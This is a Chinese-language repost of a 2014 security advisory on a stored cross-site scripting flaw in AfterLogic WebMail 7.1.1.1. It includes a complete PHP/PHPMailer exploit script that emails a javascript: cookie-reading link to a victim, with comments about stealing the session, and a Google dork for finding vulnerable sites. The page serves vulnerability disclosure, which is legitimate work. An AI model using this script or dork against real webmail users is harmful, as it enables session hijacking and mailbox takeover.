你好,游客 登录 注册 搜索
背景:
阅读新闻

AfterLogic WebMail Lite / Pro邮件主题脚本插入漏洞

[日期:2014-01-24] 来源:Linux社区  作者:Linux [字体: ]

发布日期:2014-01-23
更新日期:2014-01-24

受影响系统:
AfterLogic WebMail Lite 7.1.1.1
描述:
--------------------------------------------------------------------------------
AfterLogic WebMail Lite是一个快速易于使用的Webmail前台系统,支持POP3/IMAP账号,SMTP和SSL(包括Gmail)。

AfterLogic WebMail Lite and WebMail Pro 7.1.1.1及其他版本没有正确过滤邮件主题,这可使远程攻击者注入任意HTML和脚本代码,然后在用户浏览器会话中执行。

<*来源:Saeed reza Zamanian
 
  链接:http://secunia.com/advisories/56547/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php

/* 
# Exploit Title  : AfterLogic Pro and Lite <= 7.1.1.1 Stored XSS
# Google Dork    : intext:"AfterLogic" intext:"Login Information" inurl:index.php
# Date      : 19 Jan 2014
# Exploit Author : Saeed reza Zamanian  [s.zamanian [AT] imenantivirus.com]
# Vendor Homepage: http://www.afterlogic.com/
# Software Link  : http://www.afterlogic.com/download/webmail-pro
# Version    : <= 7.1.1.1
# Tested on  : KALI Linux 1.0.5 (Debian) Apache/2.2.22
# CVE        : vendor id = 6423

Greetz:  H.Zamanian, K.Kia, K.Khani

WebApp Desciption:
    AfterLogic WebMail is a browser-based e-mail and collaboration front end,
    designed to work with your existing messaging solutions. From an administrator’s
    perspective, the application is easy to install on your own server, easy to integrate and
    easy to maintain.


Vulnerability Description:
    XSS codes can be stored in E-Mail Body.
    So you can send an email to the Victim with below payload and steal the victim's cookie.

    <a href=javaScRipt:alert(document.cookie)>Click Me, Please...</a>\r\n

    NOTE: javascript html char encode = javaScRipt

    then you will be able to get into the victim's mailbox via the url:
    http://[WebSite]/[AfterLogic]/Default.aspx

## Phpmailer class is included in the exploit so you need to download it here and run the exploit in the phpmailer directory:
    http://code.google.com/a/apache-extras.org/p/phpmailer/downloads/list


*/

echo "<title>AfterLogic Pro and Lite <= 7.1.1.1 XSS Exploit</title>";
require_once('class.phpmailer.php');

$mail = new PHPMailer(true); // the true param means it will throw exceptions on errors, which we need to catch
$mail->IsSMTP(); // telling the class to use SMTP


/* SETTINGS */
$smtp_user = "username";    // Any valid smtp account
$smtp_pass = "password";    // Your PASSWORD
$smtp_port = "25";      // SMTP PORT Default: 25
$smtp_host = "localhost";  // Any valid smtp server
$from = "attacker@email.com";  // Any email
$victim = "victim@email.com";  // Victim email on afterlogic webmail.
$subject = "Salam";    // Subject

/* Body Text */
$body = '<a href=javaScRipt:alert(document.cookie)>Click Me, Please...</a>\r\n';

 

try {
  $mail->SMTPDebug  = 2;                  // enables SMTP debug information (for testing)
  $mail->SMTPAuth  = false;              // enable SMTP authentication
  $mail->Host      = $smtp_host;
  $mail->Port      = $smtp_port;
  $mail->Username  = $smtp_user;    // SMTP account username
  $mail->Password  = $smtp_pass;        // SMTP account password

  $mail->SetFrom($from, 'Attacker');
  $mail->AddReplyTo($from, 'Attacker');

  $mail->AddAddress($victim, 'Victim');
  $mail->Subject = $subject;

  $mail->MsgHTML($body);
  $mail->Send();
  echo "Message Sent OK</p>\n";
} catch (phpmailerException $e) {
  echo $e->errorMessage();
} catch (Exception $e) {
  echo $e->getMessage();
}
?>

</body>
</html>

建议:
--------------------------------------------------------------------------------
厂商补丁:

AfterLogic
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.afterlogic.com/download/webmail-pro

linux
相关资讯       AfterLogic WebMail Lite 
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款